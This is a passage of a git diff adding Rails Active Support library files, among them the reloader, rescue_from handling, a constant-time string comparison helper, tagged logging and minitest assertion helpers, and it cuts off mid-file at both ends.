+          fetch(name_string.to_sym).presence || raise(KeyError.new("#{name_string} is blank."))
+        else
+          self[name_string]
+        end
+      end
+    end
+
+    def respond_to_missing?(name, include_private)
+      true
+    end
+  end
+
+  # +InheritableOptions+ provides a constructor to build an +OrderedOptions+
+  # hash inherited from another hash.
+  #
+  # Use this if you already have some hash and you want to create a new one based on it.
+  #
+  #   h = ActiveSupport::InheritableOptions.new({ girl: 'Mary', boy: 'John' })
+  #   h.girl # => 'Mary'
+  #   h.boy  # => 'John'
+  class InheritableOptions < OrderedOptions
+    def initialize(parent = nil)
+      if parent.kind_of?(OrderedOptions)
+        # use the faster _get when dealing with OrderedOptions
+        super() { |h, k| parent._get(k) }
+      elsif parent
+        super() { |h, k| parent[k] }
+      else
+        super()
+      end
+    end
+
+    def inheritable_copy
+      self.class.new(self)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
new file mode 100644
index 0000000000..dd0cc6a604
--- /dev/null
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/module/delegation"
+
+module ActiveSupport
+  # NOTE: This approach has been deprecated for end-user code in favor of {thread_mattr_accessor}[rdoc-ref:Module#thread_mattr_accessor] and friends.
+  # Please use that approach instead.
+  #
+  # This module is used to encapsulate access to thread local variables.
+  #
+  # Instead of polluting the thread locals namespace:
+  #
+  #   Thread.current[:connection_handler]
+  #
+  # you define a class that extends this module:
+  #
+  #   module ActiveRecord
+  #     class RuntimeRegistry
+  #       extend ActiveSupport::PerThreadRegistry
+  #
+  #       attr_accessor :connection_handler
+  #     end
+  #   end
+  #
+  # and invoke the declared instance accessors as class methods. So
+  #
+  #   ActiveRecord::RuntimeRegistry.connection_handler = connection_handler
+  #
+  # sets a connection handler local to the current thread, and
+  #
+  #   ActiveRecord::RuntimeRegistry.connection_handler
+  #
+  # returns a connection handler local to the current thread.
+  #
+  # This feature is accomplished by instantiating the class and storing the
+  # instance as a thread local keyed by the class name. In the example above
+  # a key "ActiveRecord::RuntimeRegistry" is stored in <tt>Thread.current</tt>.
+  # The class methods proxy to said thread local instance.
+  #
+  # If the class has an initializer, it must accept no arguments.
+  module PerThreadRegistry
+    def self.extended(object)
+      object.instance_variable_set "@per_thread_registry_key", object.name.freeze
+    end
+
+    def instance
+      Thread.current[@per_thread_registry_key] ||= new
+    end
+
+    private
+      def method_missing(name, *args, &block)
+        # Caches the method definition as a singleton method of the receiver.
+        #
+        # By letting #delegate handle it, we avoid an enclosure that'll capture args.
+        singleton_class.delegate name, to: :instance
+
+        send(name, *args, &block)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/proxy_object.rb b/activesupport/lib/active_support/proxy_object.rb
new file mode 100644
index 0000000000..0965fcd2d9
--- /dev/null
+++ b/activesupport/lib/active_support/proxy_object.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # A class with no predefined methods that behaves similarly to Builder's
+  # BlankSlate. Used for proxy classes.
+  class ProxyObject < ::BasicObject
+    undef_method :==
+    undef_method :equal?
+
+    # Let ActiveSupport::ProxyObject at least raise exceptions.
+    def raise(*args)
+      ::Object.send(:raise, *args)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/rails.rb b/activesupport/lib/active_support/rails.rb
new file mode 100644
index 0000000000..fe82d1cc14
--- /dev/null
+++ b/activesupport/lib/active_support/rails.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+# This is private interface.
+#
+# Rails components cherry pick from Active Support as needed, but there are a
+# few features that are used for sure in some way or another and it is not worth
+# putting individual requires absolutely everywhere. Think blank? for example.
+#
+# This file is loaded by every Rails component except Active Support itself,
+# but it does not belong to the Rails public interface. It is internal to
+# Rails and can change anytime.
+
+# Defines Object#blank? and Object#present?.
+require_relative "core_ext/object/blank"
+
+# Rails own autoload, eager_load, etc.
+require_relative "dependencies/autoload"
+
+# Support for ClassMethods and the included macro.
+require_relative "concern"
+
+# Defines Class#class_attribute.
+require_relative "core_ext/class/attribute"
+
+# Defines Module#delegate.
+require_relative "core_ext/module/delegation"
+
+# Defines ActiveSupport::Deprecation.
+require_relative "deprecation"
+
+# Defines Regexp#match?.
+#
+# This should be removed when Rails needs Ruby 2.4 or later, and the require
+# added where other Regexp extensions are being used (easy to grep).
+require_relative "core_ext/regexp"
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
new file mode 100644
index 0000000000..2efe391d01
--- /dev/null
+++ b/activesupport/lib/active_support/railtie.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "active_support"
+require_relative "i18n_railtie"
+
+module ActiveSupport
+  class Railtie < Rails::Railtie # :nodoc:
+    config.active_support = ActiveSupport::OrderedOptions.new
+
+    config.eager_load_namespaces << ActiveSupport
+
+    initializer "active_support.set_authenticated_message_encryption" do |app|
+      if app.config.active_support.respond_to?(:use_authenticated_message_encryption)
+        ActiveSupport::MessageEncryptor.use_authenticated_message_encryption =
+          app.config.active_support.use_authenticated_message_encryption
+      end
+    end
+
+    initializer "active_support.reset_all_current_attributes_instances" do |app|
+      app.reloader.before_class_unload { ActiveSupport::CurrentAttributes.clear_all }
+      app.executor.to_run              { ActiveSupport::CurrentAttributes.reset_all }
+      app.executor.to_complete         { ActiveSupport::CurrentAttributes.reset_all }
+    end
+
+    initializer "active_support.deprecation_behavior" do |app|
+      if deprecation = app.config.active_support.deprecation
+        ActiveSupport::Deprecation.behavior = deprecation
+      end
+    end
+
+    # Sets the default value for Time.zone
+    # If assigned value cannot be matched to a TimeZone, an exception will be raised.
+    initializer "active_support.initialize_time_zone" do |app|
+      begin
+        TZInfo::DataSource.get
+      rescue TZInfo::DataSourceNotFound => e
+        raise e.exception "tzinfo-data is not present. Please add gem 'tzinfo-data' to your Gemfile and run bundle install"
+      end
+      require_relative "core_ext/time/zones"
+      Time.zone_default = Time.find_zone!(app.config.time_zone)
+    end
+
+    # Sets the default week start
+    # If assigned value is not a valid day symbol (e.g. :sunday, :monday, ...), an exception will be raised.
+    initializer "active_support.initialize_beginning_of_week" do |app|
+      require_relative "core_ext/date/calculations"
+      beginning_of_week_default = Date.find_beginning_of_week!(app.config.beginning_of_week)
+
+      Date.beginning_of_week_default = beginning_of_week_default
+    end
+
+    initializer "active_support.set_configs" do |app|
+      app.config.active_support.each do |k, v|
+        k = "#{k}="
+        ActiveSupport.send(k, v) if ActiveSupport.respond_to? k
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/reloader.rb b/activesupport/lib/active_support/reloader.rb
new file mode 100644
index 0000000000..44062e3491
--- /dev/null
+++ b/activesupport/lib/active_support/reloader.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require_relative "execution_wrapper"
+
+module ActiveSupport
+  #--
+  # This class defines several callbacks:
+  #
+  #   to_prepare -- Run once at application startup, and also from
+  #   +to_run+.
+  #
+  #   to_run -- Run before a work run that is reloading. If
+  #   +reload_classes_only_on_change+ is true (the default), the class
+  #   unload will have already occurred.
+  #
+  #   to_complete -- Run after a work run that has reloaded. If
+  #   +reload_classes_only_on_change+ is false, the class unload will
+  #   have occurred after the work run, but before this callback.
+  #
+  #   before_class_unload -- Run immediately before the classes are
+  #   unloaded.
+  #
+  #   after_class_unload -- Run immediately after the classes are
+  #   unloaded.
+  #
+  class Reloader < ExecutionWrapper
+    define_callbacks :prepare
+
+    define_callbacks :class_unload
+
+    def self.to_prepare(*args, &block)
+      set_callback(:prepare, *args, &block)
+    end
+
+    def self.before_class_unload(*args, &block)
+      set_callback(:class_unload, *args, &block)
+    end
+
+    def self.after_class_unload(*args, &block)
+      set_callback(:class_unload, :after, *args, &block)
+    end
+
+    to_run(:after) { self.class.prepare! }
+
+    # Initiate a manual reload
+    def self.reload!
+      executor.wrap do
+        new.tap do |instance|
+          begin
+            instance.run!
+          ensure
+            instance.complete!
+          end
+        end
+      end
+      prepare!
+    end
+
+    def self.run! # :nodoc:
+      if check!
+        super
+      else
+        Null
+      end
+    end
+
+    # Run the supplied block as a work unit, reloading code as needed
+    def self.wrap
+      executor.wrap do
+        super
+      end
+    end
+
+    class_attribute :executor, default: Executor
+    class_attribute :check, default: lambda { false }
+
+    def self.check! # :nodoc:
+      @should_reload ||= check.call
+    end
+
+    def self.reloaded! # :nodoc:
+      @should_reload = false
+    end
+
+    def self.prepare! # :nodoc:
+      new.run_callbacks(:prepare)
+    end
+
+    def initialize
+      super
+      @locked = false
+    end
+
+    # Acquire the ActiveSupport::Dependencies::Interlock unload lock,
+    # ensuring it will be released automatically
+    def require_unload_lock!
+      unless @locked
+        ActiveSupport::Dependencies.interlock.start_unloading
+        @locked = true
+      end
+    end
+
+    # Release the unload lock if it has been previously obtained
+    def release_unload_lock!
+      if @locked
+        @locked = false
+        ActiveSupport::Dependencies.interlock.done_unloading
+      end
+    end
+
+    def run! # :nodoc:
+      super
+      release_unload_lock!
+    end
+
+    def class_unload!(&block) # :nodoc:
+      require_unload_lock!
+      run_callbacks(:class_unload, &block)
+    end
+
+    def complete! # :nodoc:
+      super
+      self.class.reloaded!
+    ensure
+      release_unload_lock!
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
new file mode 100644
index 0000000000..2f6aeef48a
--- /dev/null
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require_relative "concern"
+require_relative "core_ext/class/attribute"
+require_relative "core_ext/string/inflections"
+
+module ActiveSupport
+  # Rescuable module adds support for easier exception handling.
+  module Rescuable
+    extend Concern
+
+    included do
+      class_attribute :rescue_handlers, default: []
+    end
+
+    module ClassMethods
+      # Rescue exceptions raised in controller actions.
+      #
+      # <tt>rescue_from</tt> receives a series of exception classes or class
+      # names, and a trailing <tt>:with</tt> option with the name of a method
+      # or a Proc object to be called to handle them. Alternatively a block can
+      # be given.
+      #
+      # Handlers that take one argument will be called with the exception, so
+      # that the exception can be inspected when dealing with it.
+      #
+      # Handlers are inherited. They are searched from right to left, from
+      # bottom to top, and up the hierarchy. The handler of the first class for
+      # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if
+      # any.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     rescue_from User::NotAuthorized, with: :deny_access # self defined exception
+      #     rescue_from ActiveRecord::RecordInvalid, with: :show_errors
+      #
+      #     rescue_from 'MyAppError::Base' do |exception|
+      #       render xml: exception, status: 500
+      #     end
+      #
+      #     private
+      #       def deny_access
+      #         ...
+      #       end
+      #
+      #       def show_errors(exception)
+      #         exception.record.new_record? ? ...
+      #       end
+      #   end
+      #
+      # Exceptions raised inside exception handlers are not propagated up.
+      def rescue_from(*klasses, with: nil, &block)
+        unless with
+          if block_given?
+            with = block
+          else
+            raise ArgumentError, "Need a handler. Pass the with: keyword argument or provide a block."
+          end
+        end
+
+        klasses.each do |klass|
+          key = if klass.is_a?(Module) && klass.respond_to?(:===)
+            klass.name
+          elsif klass.is_a?(String)
+            klass
+          else
+            raise ArgumentError, "#{klass.inspect} must be an Exception class or a String referencing an Exception class"
+          end
+
+          # Put the new handler at the end because the list is read in reverse.
+          self.rescue_handlers += [[key, with]]
+        end
+      end
+
+      # Matches an exception to a handler based on the exception class.
+      #
+      # If no handler matches the exception, check for a handler matching the
+      # (optional) exception.cause. If no handler matches the exception or its
+      # cause, this returns +nil+, so you can deal with unhandled exceptions.
+      # Be sure to re-raise unhandled exceptions if this is what you expect.
+      #
+      #     begin
+      #       …
+      #     rescue => exception
+      #       rescue_with_handler(exception) || raise
+      #     end
+      #
+      # Returns the exception if it was handled and +nil+ if it was not.
+      def rescue_with_handler(exception, object: self, visited_exceptions: [])
+        visited_exceptions << exception
+
+        if handler = handler_for_rescue(exception, object: object)
+          handler.call exception
+          exception
+        elsif exception
+          if visited_exceptions.include?(exception.cause)
+            nil
+          else
+            rescue_with_handler(exception.cause, object: object, visited_exceptions: visited_exceptions)
+          end
+        end
+      end
+
+      def handler_for_rescue(exception, object: self) #:nodoc:
+        case rescuer = find_rescue_handler(exception)
+        when Symbol
+          method = object.method(rescuer)
+          if method.arity == 0
+            -> e { method.call }
+          else
+            method
+          end
+        when Proc
+          if rescuer.arity == 0
+            -> e { object.instance_exec(&rescuer) }
+          else
+            -> e { object.instance_exec(e, &rescuer) }
+          end
+        end
+      end
+
+      private
+        def find_rescue_handler(exception)
+          if exception
+            # Handlers are in order of declaration but the most recently declared
+            # is the highest priority match, so we search for matching handlers
+            # in reverse.
+            _, handler = rescue_handlers.reverse_each.detect do |class_or_name, _|
+              if klass = constantize_rescue_handler_class(class_or_name)
+                klass === exception
+              end
+            end
+
+            handler
+          end
+        end
+
+        def constantize_rescue_handler_class(class_or_name)
+          case class_or_name
+          when String, Symbol
+            begin
+              # Try a lexical lookup first since we support
+              #
+              #     class Super
+              #       rescue_from 'Error', with: …
+              #     end
+              #
+              #     class Sub
+              #       class Error < StandardError; end
+              #     end
+              #
+              # so an Error raised in Sub will hit the 'Error' handler.
+              const_get class_or_name
+            rescue NameError
+              class_or_name.safe_constantize
+            end
+          else
+            class_or_name
+          end
+        end
+    end
+
+    # Delegates to the class method, but uses the instance as the subject for
+    # rescue_from handlers (method calls, instance_exec blocks).
+    def rescue_with_handler(exception)
+      self.class.rescue_with_handler exception, object: self
+    end
+
+    # Internal handler lookup. Delegates to class method. Some libraries call
+    # this directly, so keeping it around for compatibility.
+    def handler_for_rescue(exception) #:nodoc:
+      self.class.handler_for_rescue exception, object: self
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/security_utils.rb b/activesupport/lib/active_support/security_utils.rb
new file mode 100644
index 0000000000..51870559ec
--- /dev/null
+++ b/activesupport/lib/active_support/security_utils.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "digest"
+
+module ActiveSupport
+  module SecurityUtils
+    # Constant time string comparison.
+    #
+    # The values compared should be of fixed length, such as strings
+    # that have already been processed by HMAC. This should not be used
+    # on variable length plaintext strings because it could leak length info
+    # via timing attacks.
+    def secure_compare(a, b)
+      return false unless a.bytesize == b.bytesize
+
+      l = a.unpack "C#{a.bytesize}"
+
+      res = 0
+      b.each_byte { |byte| res |= byte ^ l.shift }
+      res == 0
+    end
+    module_function :secure_compare
+
+    def variable_size_secure_compare(a, b) # :nodoc:
+      secure_compare(::Digest::SHA256.hexdigest(a), ::Digest::SHA256.hexdigest(b))
+    end
+    module_function :variable_size_secure_compare
+  end
+end
diff --git a/activesupport/lib/active_support/string_inquirer.rb b/activesupport/lib/active_support/string_inquirer.rb
new file mode 100644
index 0000000000..a3af36720e
--- /dev/null
+++ b/activesupport/lib/active_support/string_inquirer.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Wrapping a string in this class gives you a prettier way to test
+  # for equality. The value returned by <tt>Rails.env</tt> is wrapped
+  # in a StringInquirer object, so instead of calling this:
+  #
+  #   Rails.env == 'production'
+  #
+  # you can call this:
+  #
+  #   Rails.env.production?
+  #
+  # == Instantiating a new StringInquirer
+  #
+  #   vehicle = ActiveSupport::StringInquirer.new('car')
+  #   vehicle.car?   # => true
+  #   vehicle.bike?  # => false
+  class StringInquirer < String
+    private
+
+      def respond_to_missing?(method_name, include_private = false)
+        (method_name[-1] == "?") || super
+      end
+
+      def method_missing(method_name, *arguments)
+        if method_name[-1] == "?"
+          self == method_name[0..-2]
+        else
+          super
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
new file mode 100644
index 0000000000..7913bb815e
--- /dev/null
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require_relative "per_thread_registry"
+require_relative "notifications"
+
+module ActiveSupport
+  # ActiveSupport::Subscriber is an object set to consume
+  # ActiveSupport::Notifications. The subscriber dispatches notifications to
+  # a registered object based on its given namespace.
+  #
+  # An example would be an Active Record subscriber responsible for collecting
+  # statistics about queries:
+  #
+  #   module ActiveRecord
+  #     class StatsSubscriber < ActiveSupport::Subscriber
+  #       attach_to :active_record
+  #
+  #       def sql(event)
+  #         Statsd.timing("sql.#{event.payload[:name]}", event.duration)
+  #       end
+  #     end
+  #   end
+  #
+  # After configured, whenever a "sql.active_record" notification is published,
+  # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
+  # the +sql+ method.
+  class Subscriber
+    class << self
+      # Attach the subscriber to a namespace.
+      def attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications)
+        @namespace  = namespace
+        @subscriber = subscriber
+        @notifier   = notifier
+
+        subscribers << subscriber
+
+        # Add event subscribers for all existing methods on the class.
+        subscriber.public_methods(false).each do |event|
+          add_event_subscriber(event)
+        end
+      end
+
+      # Adds event subscribers for all new methods added to the class.
+      def method_added(event)
+        # Only public methods are added as subscribers, and only if a notifier
+        # has been set up. This means that subscribers will only be set up for
+        # classes that call #attach_to.
+        if public_method_defined?(event) && notifier
+          add_event_subscriber(event)
+        end
+      end
+
+      def subscribers
+        @@subscribers ||= []
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+      attr_reader :subscriber, :notifier, :namespace
+
+      private
+
+      def add_event_subscriber(event) # :doc:
+        return if %w{ start finish }.include?(event.to_s)
+
+        pattern = "#{event}.#{namespace}"
+
+        # Don't add multiple subscribers (eg. if methods are redefined).
+        return if subscriber.patterns.include?(pattern)
+
+        subscriber.patterns << pattern
+        notifier.subscribe(pattern, subscriber)
+      end
+    end
+
+    attr_reader :patterns # :nodoc:
+
+    def initialize
+      @queue_key = [self.class.name, object_id].join "-"
+      @patterns  = []
+      super
+    end
+
+    def start(name, id, payload)
+      e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
+      parent = event_stack.last
+      parent << e if parent
+
+      event_stack.push e
+    end
+
+    def finish(name, id, payload)
+      finished  = Time.now
+      event     = event_stack.pop
+      event.end = finished
+      event.payload.merge!(payload)
+
+      method = name.split(".".freeze).first
+      send(method, event)
+    end
+
+    private
+
+      def event_stack
+        SubscriberQueueRegistry.instance.get_queue(@queue_key)
+      end
+  end
+
+  # This is a registry for all the event stacks kept for subscribers.
+  #
+  # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+  # for further details.
+  class SubscriberQueueRegistry # :nodoc:
+    extend PerThreadRegistry
+
+    def initialize
+      @registry = {}
+    end
+
+    def get_queue(queue_key)
+      @registry[queue_key] ||= []
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
new file mode 100644
index 0000000000..fe13eaed4e
--- /dev/null
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/module/delegation"
+require_relative "core_ext/object/blank"
+require "logger"
+require_relative "logger"
+
+module ActiveSupport
+  # Wraps any standard Logger object to provide tagging capabilities.
+  #
+  #   logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+  #   logger.tagged('BCX') { logger.info 'Stuff' }                            # Logs "[BCX] Stuff"
+  #   logger.tagged('BCX', "Jason") { logger.info 'Stuff' }                   # Logs "[BCX] [Jason] Stuff"
+  #   logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } } # Logs "[BCX] [Jason] Stuff"
+  #
+  # This is used by the default Rails.logger as configured by Railties to make
+  # it easy to stamp log lines with subdomains, request ids, and anything else
+  # to aid debugging of multi-user production applications.
+  module TaggedLogging
+    module Formatter # :nodoc:
+      # This method is invoked when a log event occurs.
+      def call(severity, timestamp, progname, msg)
+        super(severity, timestamp, progname, "#{tags_text}#{msg}")
+      end
+
+      def tagged(*tags)
+        new_tags = push_tags(*tags)
+        yield self
+      ensure
+        pop_tags(new_tags.size)
+      end
+
+      def push_tags(*tags)
+        tags.flatten.reject(&:blank?).tap do |new_tags|
+          current_tags.concat new_tags
+        end
+      end
+
+      def pop_tags(size = 1)
+        current_tags.pop size
+      end
+
+      def clear_tags!
+        current_tags.clear
+      end
+
+      def current_tags
+        # We use our object ID here to avoid conflicting with other instances
+        thread_key = @thread_key ||= "activesupport_tagged_logging_tags:#{object_id}".freeze
+        Thread.current[thread_key] ||= []
+      end
+
+      def tags_text
+        tags = current_tags
+        if tags.any?
+          tags.collect { |tag| "[#{tag}] " }.join
+        end
+      end
+    end
+
+    def self.new(logger)
+      # Ensure we set a default formatter so we aren't extending nil!
+      logger.formatter ||= ActiveSupport::Logger::SimpleFormatter.new
+      logger.formatter.extend Formatter
+      logger.extend(self)
+    end
+
+    delegate :push_tags, :pop_tags, :clear_tags!, to: :formatter
+
+    def tagged(*tags)
+      formatter.tagged(*tags) { yield self }
+    end
+
+    def flush
+      clear_tags!
+      super if defined?(super)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
new file mode 100644
index 0000000000..bc42758f76
--- /dev/null
+++ b/activesupport/lib/active_support/test_case.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+gem "minitest" # make sure we get the gem, not stdlib
+require "minitest"
+require_relative "testing/tagged_logging"
+require_relative "testing/setup_and_teardown"
+require_relative "testing/assertions"
+require_relative "testing/deprecation"
+require_relative "testing/declarative"
+require_relative "testing/isolation"
+require_relative "testing/constant_lookup"
+require_relative "testing/time_helpers"
+require_relative "testing/file_fixtures"
+require_relative "core_ext/kernel/reporting"
+
+module ActiveSupport
+  class TestCase < ::Minitest::Test
+    Assertion = Minitest::Assertion
+
+    class << self
+      # Sets the order in which test cases are run.
+      #
+      #   ActiveSupport::TestCase.test_order = :random # => :random
+      #
+      # Valid values are:
+      # * +:random+   (to run tests in random order)
+      # * +:parallel+ (to run tests in parallel)
+      # * +:sorted+   (to run tests alphabetically by method name)
+      # * +:alpha+    (equivalent to +:sorted+)
+      def test_order=(new_order)
+        ActiveSupport.test_order = new_order
+      end
+
+      # Returns the order in which test cases are run.
+      #
+      #   ActiveSupport::TestCase.test_order # => :random
+      #
+      # Possible values are +:random+, +:parallel+, +:alpha+, +:sorted+.
+      # Defaults to +:random+.
+      def test_order
+        ActiveSupport.test_order ||= :random
+      end
+    end
+
+    alias_method :method_name, :name
+
+    include ActiveSupport::Testing::TaggedLogging
+    include ActiveSupport::Testing::SetupAndTeardown
+    include ActiveSupport::Testing::Assertions
+    include ActiveSupport::Testing::Deprecation
+    include ActiveSupport::Testing::TimeHelpers
+    include ActiveSupport::Testing::FileFixtures
+    extend ActiveSupport::Testing::Declarative
+
+    # test/unit backwards compatibility methods
+    alias :assert_raise :assert_raises
+    alias :assert_not_empty :refute_empty
+    alias :assert_not_equal :refute_equal
+    alias :assert_not_in_delta :refute_in_delta
+    alias :assert_not_in_epsilon :refute_in_epsilon
+    alias :assert_not_includes :refute_includes
+    alias :assert_not_instance_of :refute_instance_of
+    alias :assert_not_kind_of :refute_kind_of
+    alias :assert_no_match :refute_match
+    alias :assert_not_nil :refute_nil
+    alias :assert_not_operator :refute_operator
+    alias :assert_not_predicate :refute_predicate
+    alias :assert_not_respond_to :refute_respond_to
+    alias :assert_not_same :refute_same
+
+    ActiveSupport.run_load_hooks(:active_support_test_case, self)
+  end
+end
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
new file mode 100644
index 0000000000..f6366bfd39
--- /dev/null
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -0,0 +1,199 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module Assertions
+      UNTRACKED = Object.new # :nodoc:
+
+      # Asserts that an expression is not truthy. Passes if <tt>object</tt> is
+      # +nil+ or +false+. "Truthy" means "considered true in a conditional"
+      # like <tt>if foo</tt>.
+      #
+      #   assert_not nil    # => true
+      #   assert_not false  # => true
+      #   assert_not 'foo'  # => Expected "foo" to be nil or false
+      #
+      # An error message can be specified.
+      #
+      #   assert_not foo, 'foo should be false'
+      def assert_not(object, message = nil)
+        message ||= "Expected #{mu_pp(object)} to be nil or false"
+        assert !object, message
+      end
+
+      # Assertion that the block should not raise an exception.
+      #
+      # Passes if evaluated code in the yielded block raises no exception.
+      #
+      #   assert_nothing_raised do
+      #     perform_service(param: 'no_exception')
+      #   end
+      def assert_nothing_raised
+        yield
+      end
+
+      # Test numeric difference between the return value of an expression as a
+      # result of what is evaluated in the yielded block.
+      #
+      #   assert_difference 'Article.count' do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
+      # An arbitrary expression is passed in and evaluated.
+      #
+      #   assert_difference 'Article.last.comments(:reload).size' do
+      #     post :create, params: { comment: {...} }
+      #   end
+      #
+      # An arbitrary positive or negative difference can be specified.
+      # The default is <tt>1</tt>.
+      #
+      #   assert_difference 'Article.count', -1 do
+      #     post :delete, params: { id: ... }
+      #   end
+      #
+      # An array of expressions can also be passed in and evaluated.
+      #
+      #   assert_difference [ 'Article.count', 'Post.count' ], 2 do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
+      # A lambda or a list of lambdas can be passed in and evaluated:
+      #
+      #   assert_difference ->{ Article.count }, 2 do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
+      #   assert_difference [->{ Article.count }, ->{ Post.count }], 2 do
+      #     post :create, params: { article: {...} }
+      #   end
+      #
+      # An error message can be specified.
+      #
+      #   assert_difference 'Article.count', -1, 'An Article should be destroyed' do
+      #     post :delete, params: { id: ... }
+      #   end
+      def assert_difference(expression, difference = 1, message = nil, &block)
+        expressions = Array(expression)
+
+        exps = expressions.map { |e|
+          e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
+        }
+        before = exps.map(&:call)
+
+        retval = yield
+
+        expressions.zip(exps).each_with_index do |(code, e), i|
+          error  = "#{code.inspect} didn't change by #{difference}"
+          error  = "#{message}.\n#{error}" if message
+          assert_equal(before[i] + difference, e.call, error)
+        end
+
+        retval
+      end
+
+      # Assertion that the numeric result of evaluating an expression is not
+      # changed before and after invoking the passed in block.
+      #
+      #   assert_no_difference 'Article.count' do
+      #     post :create, params: { article: invalid_attributes }
+      #   end
+      #
+      # An error message can be specified.
+      #
+      #   assert_no_difference 'Article.count', 'An Article should not be created' do
+      #     post :create, params: { article: invalid_attributes }
+      #   end
+      def assert_no_difference(expression, message = nil, &block)
+        assert_difference expression, 0, message, &block
+      end
+
+      # Assertion that the result of evaluating an expression is changed before
+      # and after invoking the passed in block.
+      #
+      #   assert_changes 'Status.all_good?' do
+      #     post :create, params: { status: { ok: false } }
+      #   end
+      #
+      # You can pass the block as a string to be evaluated in the context of
+      # the block. A lambda can be passed for the block as well.
+      #
+      #   assert_changes -> { Status.all_good? } do
+      #     post :create, params: { status: { ok: false } }
+      #   end
+      #
+      # The assertion is useful to test side effects. The passed block can be
+      # anything that can be converted to string with #to_s.
+      #
+      #   assert_changes :@object do
+      #     @object = 42
+      #   end
+      #
+      # The keyword arguments :from and :to can be given to specify the
+      # expected initial value and the expected value after the block was
+      # executed.
+      #
+      #   assert_changes :@object, from: nil, to: :foo do
+      #     @object = :foo
+      #   end
+      #
+      # An error message can be specified.
+      #
+      #   assert_changes -> { Status.all_good? }, 'Expected the status to be bad' do
+      #     post :create, params: { status: { incident: true } }
+      #   end
+      def assert_changes(expression, message = nil, from: UNTRACKED, to: UNTRACKED, &block)
+        exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
+
+        before = exp.call
+        retval = yield
+
+        unless from == UNTRACKED
+          error = "#{expression.inspect} isn't #{from.inspect}"
+          error = "#{message}.\n#{error}" if message
+          assert from === before, error
+        end
+
+        after = exp.call
+
+        if to == UNTRACKED
+          error = "#{expression.inspect} didn't changed"
+          error = "#{message}.\n#{error}" if message
+          assert_not_equal before, after, error
+        else
+          error = "#{expression.inspect} didn't change to #{to}"
+          error = "#{message}.\n#{error}" if message
+          assert to === after, error
+        end
+
+        retval
+      end
+
+      # Assertion that the result of evaluating an expression is not changed before
+      # and after invoking the passed in block.
+      #
+      #   assert_no_changes 'Status.all_good?' do
+      #     post :create, params: { status: { ok: true } }
+      #   end
+      #
+      # An error message can be specified.
+      #
+      #   assert_no_changes -> { Status.all_good? }, 'Expected the status to be good' do
+      #     post :create, params: { status: { ok: false } }
+      #   end
+      def assert_no_changes(expression, message = nil, &block)
+        exp = expression.respond_to?(:call) ? expression : -> { eval(expression.to_s, block.binding) }
+
+        before = exp.call
+        retval = yield
+        after = exp.call
+
+        error = "#{expression.inspect} did change to #{after}"
+        error = "#{message}.\n#{error}" if message
+        assert_equal before, after, error
+
+        retval
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb
new file mode 100644
index 0000000000..889b41659a
--- /dev/null
+++ b/activesupport/lib/active_support/testing/autorun.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+gem "minitest"
+
+require "minitest"
+
+Minitest.autorun
diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
new file mode 100644
index 0000000000..0fedd486fb
--- /dev/null
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require_relative "../concern"
+require_relative "../inflector"
+
+module ActiveSupport
+  module Testing
+    # Resolves a constant from a minitest spec name.
+    #
+    # Given the following spec-style test:
+    #
+    #   describe WidgetsController, :index do
+    #     describe "authenticated user" do
+    #       describe "returns widgets" do
+    #         it "has a controller that exists" do
